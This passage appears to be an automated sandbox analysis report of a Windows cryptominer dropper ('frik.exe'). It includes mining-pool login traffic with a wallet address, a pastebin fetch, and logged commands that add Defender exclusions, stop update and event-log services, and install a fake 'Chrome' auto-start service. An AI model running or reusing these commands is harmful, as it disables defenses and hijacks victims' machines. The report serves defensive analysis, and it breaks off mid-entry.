                                                              2024-10-08 12:02:32 UTC598OUTData Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 31 7a 71 55 4a 6d 55 6d 52 39 4d 36 72 54 62 61 45 48 69 58 31 35 44 50 77 70 78 4c 41 6f 56 48 46 69 74 4a 32 43 35 32 32 6d 73 65 32 39 79 46 37 75 75 67 6b 5a 5a 56 32 44 45 33 4b 48 50 70 57 4c 51 65 6d 73 69 47 31 5a 7a 38 34 34 63 65 63 63 44 6b 34 6d 4d 4e 33 4b 73 50 47 70 22 2c 22 70 61 73 73 22 3a 22 66 72 75 6b 74 6f 6f 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69
                                                              Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"41zqUJmUmR9M6rTbaEHiX15DPwpxLAoVHFitJ2C522mse29yF7uugkZZV2DE3KHPpWLQemsiG1Zz844ceccDk4mMN3KsPGp","pass":"fruktoo","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","rigi
                                                              2024-10-08 12:02:32 UTC732INData Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 61 32 61 34 35 35 30 65 2d 38 39 62 36 2d 34 34 37 62 2d 62 30 61 62 2d 39 38 63 34 33 35 31 34 31 66 63 61 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 64 62 65 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 62 64 36 32 31 31 65 62 61 38 65 66 61 66 36 63 36 66 63 38 33 37 34 33 65 36 62 36 39 36 32 33 61 34 35 36 66 62 65 63 64 62 33 36 66 35 65 66 31 37 38 32 64 65 36 39 65 36 34 37 61 66 33
                                                              Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"a2a4550e-89b6-447b-b0ab-98c435141fca","job":{"blob":"1010cdbe94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b800000000bd6211eba8efaf6c6fc83743e6b69623a456fbecdb36f5ef1782de69e647af3
                                                              2024-10-08 12:02:44 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 33 62 65 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 32 38 37 34 38 39 63 39 61 61 35 38 37 62 66 34 62 36 35 35 33 63 66 62 64 36 33 35 33 31 35 32 38 36 34 34 38 31 61 37 64 38 64 66 33 62 65 37 32 63 64 33 32 61 36 34 39 32 36 62 66 38 66 62 36 38 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 36 65 65 38 36 63 39 2d 36 64 66 62 2d 34 33 39 30 2d 61 63 39 35 2d 34 33 39 32 63 61 66 31 65 38 66 34 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010e3be94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b800000000287489c9aa587bf4b6553cfbd6353152864481a7d8df3be72cd32a64926bf8fb68","job_id":"36ee86c9-6dfb-4390-ac95-4392caf1e8f4","ta
                                                              2024-10-08 12:03:06 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 39 62 65 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 61 33 35 31 65 31 32 63 34 65 63 30 37 39 35 39 32 34 63 63 33 33 64 38 36 34 33 62 37 37 34 33 34 31 37 64 32 31 61 63 32 61 63 64 37 62 62 36 30 39 31 64 39 65 35 66 34 61 34 32 66 61 35 34 37 30 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 38 36 33 37 31 39 61 36 2d 35 66 62 32 2d 34 36 65 61 2d 39 38 34 66 2d 38 61 63 64 31 35 36 37 63 30 31 38 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010f9be94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b800000000a351e12c4ec0795924cc33d8643b7743417d21ac2acd7bb6091d9e5f4a42fa5470","job_id":"863719a6-5fb2-46ea-984f-8acd1567c018","ta
                                                              2024-10-08 12:03:28 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 66 62 66 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 31 34 65 34 30 61 36 65 37 62 62 62 33 61 32 36 35 30 38 63 35 34 63 62 66 34 63 65 31 33 61 30 61 38 63 32 36 65 33 39 34 32 61 62 39 64 31 61 32 61 39 66 38 39 66 37 65 32 65 65 61 37 66 62 37 38 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 34 66 64 30 61 64 33 33 2d 65 65 34 32 2d 34 61 63 35 2d 38 33 35 63 2d 62 38 64 62 37 32 62 34 66 35 62 61 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10108fbf94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b80000000014e40a6e7bbb3a26508c54cbf4ce13a0a8c26e3942ab9d1a2a9f89f7e2eea7fb78","job_id":"4fd0ad33-ee42-4ac5-835c-b8db72b4f5ba","ta
                                                              2024-10-08 12:03:50 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 35 62 66 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 30 64 62 38 34 38 31 61 66 34 36 30 33 35 64 30 62 31 36 34 62 62 66 63 39 38 30 61 32 64 65 39 36 38 31 30 39 66 62 38 32 39 66 64 31 37 63 30 62 31 31 30 66 38 33 36 36 39 63 63 36 39 34 63 37 61 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 31 65 37 36 35 62 35 32 2d 32 35 39 61 2d 34 32 61 31 2d 61 36 35 64 2d 39 34 39 62 61 31 39 36 35 39 36 66 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a5bf94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b8000000000db8481af46035d0b164bbfc980a2de968109fb829fd17c0b110f83669cc694c7a","job_id":"1e765b52-259a-42a1-a65d-949ba196596f","ta
                                                              2024-10-08 12:04:01 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 35 62 66 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 39 65 34 65 34 34 31 39 35 66 62 38 65 63 32 38 37 34 65 61 61 65 63 61 35 31 63 38 30 32 35 32 38 66 33 31 34 61 37 31 35 39 39 65 33 33 33 36 38 39 30 62 62 65 63 30 61 65 63 31 35 33 61 39 37 61 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 64 62 39 62 32 30 35 66 2d 36 39 32 65 2d 34 66 39 65 2d 39 63 62 61 2d 32 62 37 61 36 63 62 62 35 36 66 34 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a5bf94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b8000000009e4e44195fb8ec2874eaaeca51c802528f314a71599e3336890bbec0aec153a97a","job_id":"db9b205f-692e-4f9e-9cba-2b7a6cbb56f4","ta
                                                              2024-10-08 12:04:12 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 62 62 66 39 34 62 38 30 36 64 39 37 39 30 30 66 31 36 32 32 34 66 63 65 39 65 33 61 63 61 33 30 34 38 39 64 65 34 34 30 31 36 36 36 37 37 64 37 38 38 33 32 31 30 34 64 31 37 31 36 61 64 31 34 66 34 66 30 66 38 39 62 38 30 30 30 30 30 30 30 30 31 64 32 64 30 62 61 61 64 33 31 62 32 61 31 64 38 32 32 36 62 39 37 33 30 61 30 33 37 33 66 30 39 34 39 66 35 65 33 30 61 33 66 38 32 66 38 33 32 31 65 39 63 62 63 35 35 63 61 34 66 39 64 32 37 66 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 61 38 61 36 35 62 32 35 2d 63 39 65 31 2d 34 39 66 30 2d 62 33 30 33 2d 61 32 32 62 36 39 36 65 36 61 65 34 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010bbbf94b806d97900f16224fce9e3aca30489de440166677d78832104d1716ad14f4f0f89b8000000001d2d0baad31b2a1d8226b9730a0373f0949f5e30a3f82f8321e9cbc55ca4f9d27f","job_id":"a8a65b25-c9e1-49f0-b303-a22b696e6ae4","ta
                                                              2024-10-08 12:04:14 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 65 62 66 39 34 62 38 30 36 63 61 62 33 38 61 65 36 32 63 61 61 31 34 30 34 61 31 31 65 62 64 61 37 33 31 64 33 36 65 32 62 62 35 31 31 61 31 35 65 61 33 64 62 35 38 34 32 35 33 34 39 33 38 64 37 39 66 66 30 64 36 62 63 30 30 30 30 30 30 30 30 39 65 32 38 61 32 31 31 35 36 34 64 34 36 66 38 36 66 37 37 31 65 30 39 62 66 62 62 35 37 63 66 66 33 30 63 30 31 32 64 33 63 62 30 39 39 62 61 66 39 35 31 61 65 61 38 66 34 34 31 35 64 39 33 30 32 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 30 38 66 35 36 33 30 38 2d 32 34 30 35 2d 34 32 35 37 2d 61 39 66 64 2d 38 64 33 63 39 64 61 61 66 32 34 33 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010bebf94b806cab38ae62caa1404a11ebda731d36e2bb511a15ea3db5842534938d79ff0d6bc000000009e28a211564d46f86f771e09bfbb57cff30c012d3cb099baf951aea8f4415d9302","job_id":"08f56308-2405-4257-a9fd-8d3c9daaf243","ta
                                                              2024-10-08 12:04:36 UTC471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 33 62 66 39 34 62 38 30 36 63 61 62 33 38 61 65 36 32 63 61 61 31 34 30 34 61 31 31 65 62 64 61 37 33 31 64 33 36 65 32 62 62 35 31 31 61 31 35 65 61 33 64 62 35 38 34 32 35 33 34 39 33 38 64 37 39 66 66 30 64 36 62 63 30 30 30 30 30 30 30 30 33 37 38 63 31 33 34 39 39 31 38 36 66 34 61 37 65 62 36 64 64 66 39 36 35 34 65 35 36 33 64 65 61 35 34 33 32 39 64 36 61 31 31 66 35 34 39 30 61 31 64 39 38 66 36 64 61 63 62 31 36 34 61 34 30 33 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 62 64 66 36 38 39 37 34 2d 61 31 31 32 2d 34 32 31 32 2d 62 61 33 32 2d 66 31 37 39 66 35 36 61 34 65 35 32 22 2c 22 74 61
                                                              Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010d3bf94b806cab38ae62caa1404a11ebda731d36e2bb511a15ea3db5842534938d79ff0d6bc00000000378c13499186f4a7eb6ddf9654e563dea54329d6a11f5490a1d98f6dacb164a403","job_id":"bdf68974-a112-4212-ba32-f179f56a4e52","ta


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              1192.168.2.1049785104.20.3.2354437432C:\Windows\explorer.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-10-08 12:02:33 UTC114OUTGET /raw/FBXiGyZ9 HTTP/1.1
                                                              Accept: */*
                                                              Connection: close
                                                              Host: pastebin.com
                                                              User-Agent: cpp-httplib/0.12.6


                                                              Statistics

                                                              CPU Usage

                                                              Click to jump to process

                                                              Memory Usage

                                                              Click to jump to process

                                                              High Level Behavior Distribution

                                                              Click to dive into process behavior distribution

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Target ID:0
                                                              Start time:08:02:20
                                                              Start date:08/10/2024
                                                              Path:C:\Users\user\Desktop\frik.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Users\user\Desktop\frik.exe"
                                                              Imagebase:0x7ff611da0000
                                                              File size:5'288'736 bytes
                                                              MD5 hash:1A67A432E7AB0BCD2189F3F4142F2AE4
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:low
                                                              Has exited:true

                                                              General

                                                              Target ID:2
                                                              Start time:08:02:20
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                              Imagebase:0x7ff7b2bb0000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:3
                                                              Start time:08:02:20
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:5
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\cmd.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff6bf880000
                                                              File size:289'792 bytes
                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:6
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:7
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:8
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:9
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\wusa.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff7824a0000
                                                              File size:345'088 bytes
                                                              MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:10
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:11
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:12
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:13
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:14
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop bits
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:15
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:16
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop dosvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:17
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:18
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe delete "Chrome"
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:19
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:20
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto"
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:21
                                                              Start time:08:02:25
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:22
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:23
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe start "Chrome"
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:24
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:25
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:26
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\ProgramData\Chrome.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\ProgramData\Chrome.exe
                                                              Imagebase:0x7ff743040000
                                                              File size:5'288'736 bytes
                                                              MD5 hash:1A67A432E7AB0BCD2189F3F4142F2AE4
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Antivirus matches:
                                                              • Detection: 76%, ReversingLabs
                                                              Has exited:true

                                                              General

                                                              Target ID:27
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                              Imagebase:0x7ff7b2bb0000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:28
                                                              Start time:08:02:26
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:29
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\cmd.exe
                                                              Wow64 process (32bit):false
